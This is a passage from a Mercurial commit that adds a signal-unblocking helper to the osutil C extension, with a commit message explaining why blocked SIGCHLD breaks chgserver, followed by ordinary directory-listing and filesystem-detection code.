osutil: add a function to unblock signals

Signals could be blocked by something like:

  #include <unistd.h>
  #include <signal.h>
  int main(int argc, char * const argv[]) {
    sigset_t set;
    sigfillset(&set);
    sigprocmask(SIG_BLOCK, &set, NULL);
    execv("/bin/hg", argv);
    return 0;
  }

One of the problems is if SIGCHLD is blocked, chgserver would not reap
zombie workers since it depends on SIGCHLD handler entirely.

While it's the parent process to blame but it seems a good idea to just
unblock the signal from hg. FWIW git does that for SIGPIPE already [1].

Unfortunately Python 2 does not reset or provide APIs to change signal
masks. Therefore let's add one in osutil. Note: Python 3.3 introduced
`signal.pthread_sigmask` which solves the problem.

`sigprocmask` is part of POSIX [2] so there is no feature testing in
`setup.py`.

[1]: https://github.com/git/git/commit/7559a1be8a0afb10df41d25e4cf4c5285a5faef1
[2]: http://pubs.opengroup.org/onlinepubs/7908799/xsh/sigprocmask.html

Differential Revision: https://phab.mercurial-scm.org/D1736

mercurial/cext/osutil.c

@@ -1,1335 +1,1357 b''
 /*
  osutil.c - native operating system services
 
  Copyright 2007 Matt Mackall and others
 
  This software may be used and distributed according to the terms of
  the GNU General Public License, incorporated herein by reference.
 */
 
 #define _ATFILE_SOURCE
 #include <Python.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 
 #ifdef _WIN32
 #include <io.h>
 #include <windows.h>
 #else
 #include <dirent.h>
+#include <signal.h>
 #include <sys/socket.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
 #ifdef HAVE_LINUX_STATFS
 #include <linux/magic.h>
 #include <sys/vfs.h>
 #endif
 #ifdef HAVE_BSD_STATFS
 #include <sys/mount.h>
 #include <sys/param.h>
 #endif
 #endif
 
 #ifdef __APPLE__
 #include <sys/attr.h>
 #include <sys/vnode.h>
 #endif
 
 #include "util.h"
 
 /* some platforms lack the PATH_MAX definition (eg. GNU/Hurd) */
 #ifndef PATH_MAX
 #define PATH_MAX 4096
 #endif
 
 #ifdef _WIN32
 /*
 stat struct compatible with hg expectations
 Mercurial only uses st_mode, st_size and st_mtime
 the rest is kept to minimize changes between implementations
 */
 struct hg_stat {
 	int st_dev;
 	int st_mode;
 	int st_nlink;
 	__int64 st_size;
 	int st_mtime;
 	int st_ctime;
 };
 struct listdir_stat {
 	PyObject_HEAD
 	struct hg_stat st;
 };
 #else
 struct listdir_stat {
 	PyObject_HEAD
 	struct stat st;
 };
 #endif
 
 #ifdef IS_PY3K
 #define listdir_slot(name) \
 	static PyObject *listdir_stat_##name(PyObject *self, void *x) \
 	{ \
 		return PyLong_FromLong(((struct listdir_stat *)self)->st.name); \
 	}
 #else
 #define listdir_slot(name) \
 	static PyObject *listdir_stat_##name(PyObject *self, void *x) \
 	{ \
 		return PyInt_FromLong(((struct listdir_stat *)self)->st.name); \
 	}
 #endif
 
 listdir_slot(st_dev)
 listdir_slot(st_mode)
 listdir_slot(st_nlink)
 #ifdef _WIN32
 static PyObject *listdir_stat_st_size(PyObject *self, void *x)
 {
 	return PyLong_FromLongLong(
 		(PY_LONG_LONG)((struct listdir_stat *)self)->st.st_size);
 }
 #else
 listdir_slot(st_size)
 #endif
 listdir_slot(st_mtime)
 listdir_slot(st_ctime)
 
 static struct PyGetSetDef listdir_stat_getsets[] = {
 	{"st_dev", listdir_stat_st_dev, 0, 0, 0},
 	{"st_mode", listdir_stat_st_mode, 0, 0, 0},
 	{"st_nlink", listdir_stat_st_nlink, 0, 0, 0},
 	{"st_size", listdir_stat_st_size, 0, 0, 0},
 	{"st_mtime", listdir_stat_st_mtime, 0, 0, 0},
 	{"st_ctime", listdir_stat_st_ctime, 0, 0, 0},
 	{0, 0, 0, 0, 0}
 };
 
 static PyObject *listdir_stat_new(PyTypeObject *t, PyObject *a, PyObject *k)
 {
 	return t->tp_alloc(t, 0);
 }
 
 static void listdir_stat_dealloc(PyObject *o)
 {
 	o->ob_type->tp_free(o);
 }
 
 static PyTypeObject listdir_stat_type = {
 	PyVarObject_HEAD_INIT(NULL, 0) /* header */
 	"osutil.stat",             /*tp_name*/
 	sizeof(struct listdir_stat), /*tp_basicsize*/
 	0,                         /*tp_itemsize*/
 	(destructor)listdir_stat_dealloc, /*tp_dealloc*/
 	0,                         /*tp_print*/
 	0,                         /*tp_getattr*/
 	0,                         /*tp_setattr*/
 	0,                         /*tp_compare*/
 	0,                         /*tp_repr*/
 	0,                         /*tp_as_number*/
 	0,                         /*tp_as_sequence*/
 	0,                         /*tp_as_mapping*/
 	0,                         /*tp_hash */
 	0,                         /*tp_call*/
 	0,                         /*tp_str*/
 	0,                         /*tp_getattro*/
 	0,                         /*tp_setattro*/
 	0,                         /*tp_as_buffer*/
 	Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/
 	"stat objects",            /* tp_doc */
 	0,                         /* tp_traverse */
 	0,                         /* tp_clear */
 	0,                         /* tp_richcompare */
 	0,                         /* tp_weaklistoffset */
 	0,                         /* tp_iter */
 	0,                         /* tp_iternext */
 	0,                         /* tp_methods */
 	0,                         /* tp_members */
 	listdir_stat_getsets,      /* tp_getset */
 	0,                         /* tp_base */
 	0,                         /* tp_dict */
 	0,                         /* tp_descr_get */
 	0,                         /* tp_descr_set */
 	0,                         /* tp_dictoffset */
 	0,                         /* tp_init */
 	0,                         /* tp_alloc */
 	listdir_stat_new,          /* tp_new */
 };
 
 #ifdef _WIN32
 
 static int to_python_time(const FILETIME *tm)
 {
 	/* number of seconds between epoch and January 1 1601 */
 	const __int64 a0 = (__int64)134774L * (__int64)24L * (__int64)3600L;
 	/* conversion factor from 100ns to 1s */
 	const __int64 a1 = 10000000;
 	/* explicit (int) cast to suspend compiler warnings */
 	return (int)((((__int64)tm->dwHighDateTime << 32)
 			+ tm->dwLowDateTime) / a1 - a0);
 }
 
 static PyObject *make_item(const WIN32_FIND_DATAA *fd, int wantstat)
 {
 	PyObject *py_st;
 	struct hg_stat *stp;
 
 	int kind = (fd->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
 		? _S_IFDIR : _S_IFREG;
 
 	if (!wantstat)
 		return Py_BuildValue("si", fd->cFileName, kind);
 
 	py_st = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
 	if (!py_st)
 		return NULL;
 
 	stp = &((struct listdir_stat *)py_st)->st;
 	/*
 	use kind as st_mode
 	rwx bits on Win32 are meaningless
 	and Hg does not use them anyway
 	*/
 	stp->st_mode  = kind;
 	stp->st_mtime = to_python_time(&fd->ftLastWriteTime);
 	stp->st_ctime = to_python_time(&fd->ftCreationTime);
 	if (kind == _S_IFREG)
 		stp->st_size = ((__int64)fd->nFileSizeHigh << 32)
 				+ fd->nFileSizeLow;
 	return Py_BuildValue("siN", fd->cFileName,
 		kind, py_st);
 }
 
 static PyObject *_listdir(char *path, int plen, int wantstat, char *skip)
 {
 	PyObject *rval = NULL; /* initialize - return value */
 	PyObject *list;
 	HANDLE fh;
 	WIN32_FIND_DATAA fd;
 	char *pattern;
 
 	/* build the path + \* pattern string */
 	pattern = PyMem_Malloc(plen + 3); /* path + \* + \0 */
 	if (!pattern) {
 		PyErr_NoMemory();
 		goto error_nomem;
 	}
 	memcpy(pattern, path, plen);
 
 	if (plen > 0) {
 		char c = path[plen-1];
 		if (c != ':' && c != '/' && c != '\\')
 			pattern[plen++] = '\\';
 	}
 	pattern[plen++] = '*';
 	pattern[plen] = '\0';
 
 	fh = FindFirstFileA(pattern, &fd);
 	if (fh == INVALID_HANDLE_VALUE) {
 		PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
 		goto error_file;
 	}
 
 	list = PyList_New(0);
 	if (!list)
 		goto error_list;
 
 	do {
 		PyObject *item;
 
 		if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
 			if (!strcmp(fd.cFileName, ".")
 			|| !strcmp(fd.cFileName, ".."))
 				continue;
 
 			if (skip && !strcmp(fd.cFileName, skip)) {
 				rval = PyList_New(0);
 				goto error;
 			}
 		}
 
 		item = make_item(&fd, wantstat);
 		if (!item)
 			goto error;
 
 		if (PyList_Append(list, item)) {
 			Py_XDECREF(item);
 			goto error;
 		}
 
 		Py_XDECREF(item);
 	} while (FindNextFileA(fh, &fd));
 
 	if (GetLastError() != ERROR_NO_MORE_FILES) {
 		PyErr_SetFromWindowsErrWithFilename(GetLastError(), path);
 		goto error;
 	}
 
 	rval = list;
 	Py_XINCREF(rval);
 error:
 	Py_XDECREF(list);
 error_list:
 	FindClose(fh);
 error_file:
 	PyMem_Free(pattern);
 error_nomem:
 	return rval;
 }
 
 #else
 
 int entkind(struct dirent *ent)
 {
 #ifdef DT_REG
 	switch (ent->d_type) {
 	case DT_REG: return S_IFREG;
 	case DT_DIR: return S_IFDIR;
 	case DT_LNK: return S_IFLNK;
 	case DT_BLK: return S_IFBLK;
 	case DT_CHR: return S_IFCHR;
 	case DT_FIFO: return S_IFIFO;
 	case DT_SOCK: return S_IFSOCK;
 	}
 #endif
 	return -1;
 }
 
 static PyObject *makestat(const struct stat *st)
 {
 	PyObject *stat;
 
 	stat = PyObject_CallObject((PyObject *)&listdir_stat_type, NULL);
 	if (stat)
 		memcpy(&((struct listdir_stat *)stat)->st, st, sizeof(*st));
 	return stat;
 }
 
 static PyObject *_listdir_stat(char *path, int pathlen, int keepstat,
 			       char *skip)
 {
 	PyObject *list, *elem, *stat = NULL, *ret = NULL;
 	char fullpath[PATH_MAX + 10];
 	int kind, err;
 	struct stat st;
 	struct dirent *ent;
 	DIR *dir;
 #ifdef AT_SYMLINK_NOFOLLOW
 	int dfd = -1;
 #endif
 
 	if (pathlen >= PATH_MAX) {
 		errno = ENAMETOOLONG;
 		PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 		goto error_value;
 	}
 	strncpy(fullpath, path, PATH_MAX);
 	fullpath[pathlen] = '/';
 
 #ifdef AT_SYMLINK_NOFOLLOW
 	dfd = open(path, O_RDONLY);
 	if (dfd == -1) {
 		PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 		goto error_value;
 	}
 	dir = fdopendir(dfd);
 #else
 	dir = opendir(path);
 #endif
 	if (!dir) {
 		PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 		goto error_dir;
 	}
 
 	list = PyList_New(0);
 	if (!list)
 		goto error_list;
 
 	while ((ent = readdir(dir))) {
 		if (!strcmp(ent->d_name, ".") || !strcmp(ent->d_name, ".."))
 			continue;
 
 		kind = entkind(ent);
 		if (kind == -1 || keepstat) {
 #ifdef AT_SYMLINK_NOFOLLOW
 			err = fstatat(dfd, ent->d_name, &st,
 				      AT_SYMLINK_NOFOLLOW);
 #else
 			strncpy(fullpath + pathlen + 1, ent->d_name,
 				PATH_MAX - pathlen);
 			fullpath[PATH_MAX] = '\0';
 			err = lstat(fullpath, &st);
 #endif
 			if (err == -1) {
 				/* race with file deletion? */
 				if (errno == ENOENT)
 					continue;
 				strncpy(fullpath + pathlen + 1, ent->d_name,
 					PATH_MAX - pathlen);
 				fullpath[PATH_MAX] = 0;
 				PyErr_SetFromErrnoWithFilename(PyExc_OSError,
 							       fullpath);
 				goto error;
 			}
 			kind = st.st_mode & S_IFMT;
 		}
 
 		/* quit early? */
 		if (skip && kind == S_IFDIR && !strcmp(ent->d_name, skip)) {
 			ret = PyList_New(0);
 			goto error;
 		}
 
 		if (keepstat) {
 			stat = makestat(&st);
 			if (!stat)
 				goto error;
 			elem = Py_BuildValue("siN", ent->d_name, kind, stat);
 		} else
 			elem = Py_BuildValue("si", ent->d_name, kind);
 		if (!elem)
 			goto error;
 		stat = NULL;
 
 		PyList_Append(list, elem);
 		Py_DECREF(elem);
 	}
 
 	ret = list;
 	Py_INCREF(ret);
 
 error:
 	Py_DECREF(list);
 	Py_XDECREF(stat);
 error_list:
 	closedir(dir);
 	/* closedir also closes its dirfd */
 	goto error_value;
 error_dir:
 #ifdef AT_SYMLINK_NOFOLLOW
 	close(dfd);
 #endif
 error_value:
 	return ret;
 }
 
 #ifdef __APPLE__
 
 typedef struct {
 	u_int32_t length;
 	attrreference_t name;
 	fsobj_type_t obj_type;
 	struct timespec mtime;
 #if __LITTLE_ENDIAN__
 	mode_t access_mask;
 	uint16_t padding;
 #else
 	uint16_t padding;
 	mode_t access_mask;
 #endif
 	off_t size;
 } __attribute__((packed)) attrbuf_entry;
 
 int attrkind(attrbuf_entry *entry)
 {
 	switch (entry->obj_type) {
 	case VREG: return S_IFREG;
 	case VDIR: return S_IFDIR;
 	case VLNK: return S_IFLNK;
 	case VBLK: return S_IFBLK;
 	case VCHR: return S_IFCHR;
 	case VFIFO: return S_IFIFO;
 	case VSOCK: return S_IFSOCK;
 	}
 	return -1;
 }
 
 /* get these many entries at a time */
 #define LISTDIR_BATCH_SIZE 50
 
 static PyObject *_listdir_batch(char *path, int pathlen, int keepstat,
 				char *skip, bool *fallback)
 {
 	PyObject *list, *elem, *stat = NULL, *ret = NULL;
 	int kind, err;
 	unsigned long index;
 	unsigned int count, old_state, new_state;
 	bool state_seen = false;
 	attrbuf_entry *entry;
 	/* from the getattrlist(2) man page: a path can be no longer than
 	   (NAME_MAX * 3 + 1) bytes. Also, "The getattrlist() function will
 	   silently truncate attribute data if attrBufSize is too small." So
 	   pass in a buffer big enough for the worst case. */
 	char attrbuf[LISTDIR_BATCH_SIZE * (sizeof(attrbuf_entry) + NAME_MAX * 3 + 1)];
 	unsigned int basep_unused;
 
 	struct stat st;
 	int dfd = -1;
 
 	/* these must match the attrbuf_entry struct, otherwise you'll end up
 	   with garbage */
 	struct attrlist requested_attr = {0};
 	requested_attr.bitmapcount = ATTR_BIT_MAP_COUNT;
 	requested_attr.commonattr = (ATTR_CMN_NAME | ATTR_CMN_OBJTYPE |
 				     ATTR_CMN_MODTIME | ATTR_CMN_ACCESSMASK);
 	requested_attr.fileattr = ATTR_FILE_DATALENGTH;
 
 	*fallback = false;
 
 	if (pathlen >= PATH_MAX) {
 		errno = ENAMETOOLONG;
 		PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 		goto error_value;
 	}
 
 	dfd = open(path, O_RDONLY);
 	if (dfd == -1) {
 		PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 		goto error_value;
 	}
 
 	list = PyList_New(0);
 	if (!list)
 		goto error_dir;
 
 	do {
 		count = LISTDIR_BATCH_SIZE;
 		err = getdirentriesattr(dfd, &requested_attr, &attrbuf,
 					sizeof(attrbuf), &count, &basep_unused,
 					&new_state, 0);
 		if (err < 0) {
 			if (errno == ENOTSUP) {
 				/* We're on a filesystem that doesn't support
 				   getdirentriesattr. Fall back to the
 				   stat-based implementation. */
 				*fallback = true;
 			} else
 				PyErr_SetFromErrnoWithFilename(PyExc_OSError, path);
 			goto error;
 		}
 
 		if (!state_seen) {
 			old_state = new_state;
 			state_seen = true;
 		} else if (old_state != new_state) {
 			/* There's an edge case with getdirentriesattr. Consider
 			   the following initial list of files:
 
 			   a
 			   b
 			   <--
 			   c
 			   d
 
 			   If the iteration is paused at the arrow, and b is
 			   deleted before it is resumed, getdirentriesattr will
 			   not return d at all!  Ordinarily we're expected to
 			   restart the iteration from the beginning. To avoid
 			   getting stuck in a retry loop here, fall back to
 			   stat. */
 			*fallback = true;
 			goto error;
 		}
 
 		entry = (attrbuf_entry *)attrbuf;
 
 		for (index = 0; index < count; index++) {
 			char *filename = ((char *)&entry->name) +
 				entry->name.attr_dataoffset;
 
 			if (!strcmp(filename, ".") || !strcmp(filename, ".."))
 				continue;
 
 			kind = attrkind(entry);
 			if (kind == -1) {
 				PyErr_Format(PyExc_OSError,
 					     "unknown object type %u for file "
 					     "%s%s!",
 					     entry->obj_type, path, filename);
 				goto error;
 			}
 
 			/* quit early? */
 			if (skip && kind == S_IFDIR && !strcmp(filename, skip)) {
 				ret = PyList_New(0);
 				goto error;
 			}
 
 			if (keepstat) {
 				/* from the getattrlist(2) man page: "Only the
 				   permission bits ... are valid". */
 				st.st_mode = (entry->access_mask & ~S_IFMT) | kind;
 				st.st_mtime = entry->mtime.tv_sec;
 				st.st_size = entry->size;
 				stat = makestat(&st);
 				if (!stat)
 					goto error;
 				elem = Py_BuildValue("siN", filename, kind, stat);
 			} else
 				elem = Py_BuildValue("si", filename, kind);
 			if (!elem)
 				goto error;
 			stat = NULL;
 
 			PyList_Append(list, elem);
 			Py_DECREF(elem);
 
 			entry = (attrbuf_entry *)((char *)entry + entry->length);
 		}
 	} while (err == 0);
 
 	ret = list;
 	Py_INCREF(ret);
 
 error:
 	Py_DECREF(list);
 	Py_XDECREF(stat);
 error_dir:
 	close(dfd);
 error_value:
 	return ret;
 }
 
 #endif /* __APPLE__ */
 
 static PyObject *_listdir(char *path, int pathlen, int keepstat, char *skip)
 {
 #ifdef __APPLE__
 	PyObject *ret;
 	bool fallback = false;
 
 	ret = _listdir_batch(path, pathlen, keepstat, skip, &fallback);
 	if (ret != NULL || !fallback)
 		return ret;
 #endif
 	return _listdir_stat(path, pathlen, keepstat, skip);
 }
 
 static PyObject *statfiles(PyObject *self, PyObject *args)
 {
 	PyObject *names, *stats;
 	Py_ssize_t i, count;
 
 	if (!PyArg_ParseTuple(args, "O:statfiles", &names))
 		return NULL;
 
 	count = PySequence_Length(names);
 	if (count == -1) {
 		PyErr_SetString(PyExc_TypeError, "not a sequence");
 		return NULL;
 	}
 
 	stats = PyList_New(count);
 	if (stats == NULL)
 		return NULL;
 
 	for (i = 0; i < count; i++) {
 		PyObject *stat, *pypath;
 		struct stat st;
 		int ret, kind;
 		char *path;
 
 		/* With a large file count or on a slow filesystem,
 		   don't block signals for long (issue4878). */
 		if ((i % 1000) == 999 && PyErr_CheckSignals() == -1)
 			goto bail;
 
 		pypath = PySequence_GetItem(names, i);
 		if (!pypath)
 			goto bail;
 		path = PyBytes_AsString(pypath);
 		if (path == NULL) {
 			Py_DECREF(pypath);
 			PyErr_SetString(PyExc_TypeError, "not a string");
 			goto bail;
 		}
 		ret = lstat(path, &st);
 		Py_DECREF(pypath);
 		kind = st.st_mode & S_IFMT;
 		if (ret != -1 && (kind == S_IFREG || kind == S_IFLNK)) {
 			stat = makestat(&st);
 			if (stat == NULL)
 				goto bail;
 			PyList_SET_ITEM(stats, i, stat);
 		} else {
 			Py_INCREF(Py_None);
 			PyList_SET_ITEM(stats, i, Py_None);
 		}
 	}
 
 	return stats;
 
 bail:
 	Py_DECREF(stats);
 	return NULL;
 }
 
 /*
  * recvfds() simply does not release GIL during blocking io operation because
  * command server is known to be single-threaded.
  *
  * Old systems such as Solaris don't provide CMSG_LEN, msg_control, etc.
  * Currently, recvfds() is not supported on these platforms.
  */
 #ifdef CMSG_LEN
 
 static ssize_t recvfdstobuf(int sockfd, int **rfds, void *cbuf, size_t cbufsize)
 {
 	char dummy[1];
 	struct iovec iov = {dummy, sizeof(dummy)};
 	struct msghdr msgh = {0};
 	struct cmsghdr *cmsg;
 
 	msgh.msg_iov = &iov;
 	msgh.msg_iovlen = 1;
 	msgh.msg_control = cbuf;
 	msgh.msg_controllen = (socklen_t)cbufsize;
 	if (recvmsg(sockfd, &msgh, 0) < 0)
 		return -1;
 
 	for (cmsg = CMSG_FIRSTHDR(&msgh); cmsg;
 	     cmsg = CMSG_NXTHDR(&msgh, cmsg)) {
 		if (cmsg->cmsg_level != SOL_SOCKET ||
 		    cmsg->cmsg_type != SCM_RIGHTS)
 			continue;
 		*rfds = (int *)CMSG_DATA(cmsg);
 		return (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int);
 	}
 
 	*rfds = cbuf;
 	return 0;
 }
 
 static PyObject *recvfds(PyObject *self, PyObject *args)
 {
 	int sockfd;
 	int *rfds = NULL;
 	ssize_t rfdscount, i;
 	char cbuf[256];
 	PyObject *rfdslist = NULL;
 
 	if (!PyArg_ParseTuple(args, "i", &sockfd))
 		return NULL;
 
 	rfdscount = recvfdstobuf(sockfd, &rfds, cbuf, sizeof(cbuf));
 	if (rfdscount < 0)
 		return PyErr_SetFromErrno(PyExc_OSError);
 
 	rfdslist = PyList_New(rfdscount);
 	if (!rfdslist)
 		goto bail;
 	for (i = 0; i < rfdscount; i++) {
 		PyObject *obj = PyLong_FromLong(rfds[i]);
 		if (!obj)
 			goto bail;
 		PyList_SET_ITEM(rfdslist, i, obj);
 	}
 	return rfdslist;
 
 bail:
 	Py_XDECREF(rfdslist);
 	return NULL;
 }
 
 #endif /* CMSG_LEN */
 
 #if defined(HAVE_SETPROCTITLE)
 /* setproctitle is the first choice - available in FreeBSD */
 #define SETPROCNAME_USE_SETPROCTITLE
 #elif (defined(__linux__) || defined(__APPLE__)) && PY_MAJOR_VERSION == 2
 /* rewrite the argv buffer in place - works in Linux and OS X. Py_GetArgcArgv
  * in Python 3 returns the copied wchar_t **argv, thus unsupported. */
 #define SETPROCNAME_USE_ARGVREWRITE
 #else
 #define SETPROCNAME_USE_NONE
 #endif
 
 #ifndef SETPROCNAME_USE_NONE
 static PyObject *setprocname(PyObject *self, PyObject *args)
 {
 	const char *name = NULL;
 	if (!PyArg_ParseTuple(args, "s", &name))
 		return NULL;
 
 #if defined(SETPROCNAME_USE_SETPROCTITLE)
 	setproctitle("%s", name);
 #elif defined(SETPROCNAME_USE_ARGVREWRITE)
 	{
 		static char *argvstart = NULL;
 		static size_t argvsize = 0;
 		if (argvstart == NULL) {
 			int argc = 0, i;
 			char **argv = NULL;
 			char *argvend;
 			extern void Py_GetArgcArgv(int *argc, char ***argv);
 			Py_GetArgcArgv(&argc, &argv);
 
 			/* Check the memory we can use. Typically, argv[i] and
 			 * argv[i + 1] are continuous. */
 			argvend = argvstart = argv[0];
 			for (i = 0; i < argc; ++i) {
 				if (argv[i] > argvend || argv[i] < argvstart)
 					break; /* not continuous */
 				size_t len = strlen(argv[i]);
 				argvend = argv[i] + len + 1 /* '\0' */;
 			}
 			if (argvend > argvstart) /* sanity check */
 				argvsize = argvend - argvstart;
 		}
 
 		if (argvstart && argvsize > 1) {
 			int n = snprintf(argvstart, argvsize, "%s", name);
 			if (n >= 0 && (size_t)n < argvsize)
 				memset(argvstart + n, 0, argvsize - n);
 		}
 	}
 #endif
 
 	Py_RETURN_NONE;
 }
 #endif /* ndef SETPROCNAME_USE_NONE */
 
 #if defined(HAVE_BSD_STATFS)
 static const char *describefstype(const struct statfs *pbuf)
 {
 	/* BSD or OSX provides a f_fstypename field */
 	return pbuf->f_fstypename;
 }
 #elif defined(HAVE_LINUX_STATFS)
 static const char *describefstype(const struct statfs *pbuf)
 {
 	/* Begin of Linux filesystems */
 #ifdef ADFS_SUPER_MAGIC
 	if (pbuf->f_type == ADFS_SUPER_MAGIC)
 		return "adfs";
 #endif
 #ifdef AFFS_SUPER_MAGIC
 	if (pbuf->f_type == AFFS_SUPER_MAGIC)
 		return "affs";
 #endif
 #ifdef AUTOFS_SUPER_MAGIC
 	if (pbuf->f_type == AUTOFS_SUPER_MAGIC)
 		return "autofs";
 #endif
 #ifdef BDEVFS_MAGIC
 	if (pbuf->f_type == BDEVFS_MAGIC)
 		return "bdevfs";
 #endif
 #ifdef BEFS_SUPER_MAGIC
 	if (pbuf->f_type == BEFS_SUPER_MAGIC)
 		return "befs";
 #endif
 #ifdef BFS_MAGIC
 	if (pbuf->f_type == BFS_MAGIC)
 		return "bfs";
 #endif
 #ifdef BINFMTFS_MAGIC
 	if (pbuf->f_type == BINFMTFS_MAGIC)
 		return "binfmtfs";
 #endif
 #ifdef BTRFS_SUPER_MAGIC
 	if (pbuf->f_type == BTRFS_SUPER_MAGIC)
 		return "btrfs";
 #endif
 #ifdef CGROUP_SUPER_MAGIC
 	if (pbuf->f_type == CGROUP_SUPER_MAGIC)
 		return "cgroup";
 #endif
 #ifdef CIFS_MAGIC_NUMBER
 	if (pbuf->f_type == CIFS_MAGIC_NUMBER)
 		return "cifs";
 #endif
 #ifdef CODA_SUPER_MAGIC
 	if (pbuf->f_type == CODA_SUPER_MAGIC)
 		return "coda";
 #endif
 #ifdef COH_SUPER_MAGIC
 	if (pbuf->f_type == COH_SUPER_MAGIC)
 		return "coh";
 #endif
 #ifdef CRAMFS_MAGIC
 	if (pbuf->f_type == CRAMFS_MAGIC)
 		return "cramfs";
 #endif
 #ifdef DEBUGFS_MAGIC
 	if (pbuf->f_type == DEBUGFS_MAGIC)
 		return "debugfs";
 #endif
 #ifdef DEVFS_SUPER_MAGIC
 	if (pbuf->f_type == DEVFS_SUPER_MAGIC)
 		return "devfs";
 #endif
 #ifdef DEVPTS_SUPER_MAGIC
 	if (pbuf->f_type == DEVPTS_SUPER_MAGIC)
 		return "devpts";
 #endif
 #ifdef EFIVARFS_MAGIC
 	if (pbuf->f_type == EFIVARFS_MAGIC)
 		return "efivarfs";
 #endif
 #ifdef EFS_SUPER_MAGIC
 	if (pbuf->f_type == EFS_SUPER_MAGIC)
 		return "efs";
 #endif
 #ifdef EXT_SUPER_MAGIC
 	if (pbuf->f_type == EXT_SUPER_MAGIC)
 		return "ext";
 #endif
 #ifdef EXT2_OLD_SUPER_MAGIC
 	if (pbuf->f_type == EXT2_OLD_SUPER_MAGIC)
 		return "ext2";
 #endif
 #ifdef EXT2_SUPER_MAGIC
 	if (pbuf->f_type == EXT2_SUPER_MAGIC)
 		return "ext2";
 #endif
 #ifdef EXT3_SUPER_MAGIC
 	if (pbuf->f_type == EXT3_SUPER_MAGIC)
 		return "ext3";
 #endif
 #ifdef EXT4_SUPER_MAGIC
 	if (pbuf->f_type == EXT4_SUPER_MAGIC)
 		return "ext4";
 #endif
 #ifdef F2FS_SUPER_MAGIC
 	if (pbuf->f_type == F2FS_SUPER_MAGIC)
 		return "f2fs";
 #endif
 #ifdef FUSE_SUPER_MAGIC
 	if (pbuf->f_type == FUSE_SUPER_MAGIC)
 		return "fuse";
 #endif
 #ifdef FUTEXFS_SUPER_MAGIC
 	if (pbuf->f_type == FUTEXFS_SUPER_MAGIC)
 		return "futexfs";
 #endif
 #ifdef HFS_SUPER_MAGIC
 	if (pbuf->f_type == HFS_SUPER_MAGIC)
 		return "hfs";
 #endif
 #ifdef HOSTFS_SUPER_MAGIC
 	if (pbuf->f_type == HOSTFS_SUPER_MAGIC)
 		return "hostfs";
 #endif
 #ifdef HPFS_SUPER_MAGIC
 	if (pbuf->f_type == HPFS_SUPER_MAGIC)
 		return "hpfs";
 #endif
 #ifdef HUGETLBFS_MAGIC
 	if (pbuf->f_type == HUGETLBFS_MAGIC)
 		return "hugetlbfs";
 #endif
 #ifdef ISOFS_SUPER_MAGIC
 	if (pbuf->f_type == ISOFS_SUPER_MAGIC)
 		return "isofs";
 #endif
 #ifdef JFFS2_SUPER_MAGIC
 	if (pbuf->f_type == JFFS2_SUPER_MAGIC)
 		return "jffs2";
 #endif
 #ifdef JFS_SUPER_MAGIC
 	if (pbuf->f_type == JFS_SUPER_MAGIC)
 		return "jfs";
 #endif
 #ifdef MINIX_SUPER_MAGIC
 	if (pbuf->f_type == MINIX_SUPER_MAGIC)
 		return "minix";
 #endif
 #ifdef MINIX2_SUPER_MAGIC
 	if (pbuf->f_type == MINIX2_SUPER_MAGIC)
 		return "minix2";
 #endif
 #ifdef MINIX3_SUPER_MAGIC
 	if (pbuf->f_type == MINIX3_SUPER_MAGIC)
 		return "minix3";
 #endif
 #ifdef MQUEUE_MAGIC
 	if (pbuf->f_type == MQUEUE_MAGIC)
 		return "mqueue";
 #endif
 #ifdef MSDOS_SUPER_MAGIC
 	if (pbuf->f_type == MSDOS_SUPER_MAGIC)
 		return "msdos";
 #endif
 #ifdef NCP_SUPER_MAGIC
 	if (pbuf->f_type == NCP_SUPER_MAGIC)
 		return "ncp";
 #endif
 #ifdef NFS_SUPER_MAGIC
 	if (pbuf->f_type == NFS_SUPER_MAGIC)
 		return "nfs";
 #endif
 #ifdef NILFS_SUPER_MAGIC
 	if (pbuf->f_type == NILFS_SUPER_MAGIC)
 		return "nilfs";
 #endif
 #ifdef NTFS_SB_MAGIC
 	if (pbuf->f_type == NTFS_SB_MAGIC)
 		return "ntfs-sb";
 #endif
 #ifdef OCFS2_SUPER_MAGIC
 	if (pbuf->f_type == OCFS2_SUPER_MAGIC)
 		return "ocfs2";
 #endif
 #ifdef OPENPROM_SUPER_MAGIC
 	if (pbuf->f_type == OPENPROM_SUPER_MAGIC)
 		return "openprom";
 #endif
 #ifdef OVERLAYFS_SUPER_MAGIC
 	if (pbuf->f_type == OVERLAYFS_SUPER_MAGIC)
 		return "overlay";
 #endif
 #ifdef PIPEFS_MAGIC
 	if (pbuf->f_type == PIPEFS_MAGIC)
 		return "pipefs";
 #endif
 #ifdef PROC_SUPER_MAGIC
 	if (pbuf->f_type == PROC_SUPER_MAGIC)
 		return "proc";
 #endif
 #ifdef PSTOREFS_MAGIC
 	if (pbuf->f_type == PSTOREFS_MAGIC)
 		return "pstorefs";
 #endif
 #ifdef QNX4_SUPER_MAGIC
 	if (pbuf->f_type == QNX4_SUPER_MAGIC)
 		return "qnx4";
 #endif
 #ifdef QNX6_SUPER_MAGIC
 	if (pbuf->f_type == QNX6_SUPER_MAGIC)
 		return "qnx6";
 #endif
 #ifdef RAMFS_MAGIC
 	if (pbuf->f_type == RAMFS_MAGIC)
 		return "ramfs";
 #endif
 #ifdef REISERFS_SUPER_MAGIC
 	if (pbuf->f_type == REISERFS_SUPER_MAGIC)
 		return "reiserfs";
 #endif
 #ifdef ROMFS_MAGIC
 	if (pbuf->f_type == ROMFS_MAGIC)
 		return "romfs";
 #endif
 #ifdef SECURITYFS_MAGIC
 	if (pbuf->f_type == SECURITYFS_MAGIC)
 		return "securityfs";
 #endif
 #ifdef SELINUX_MAGIC
 	if (pbuf->f_type == SELINUX_MAGIC)
 		return "selinux";
 #endif
 #ifdef SMACK_MAGIC
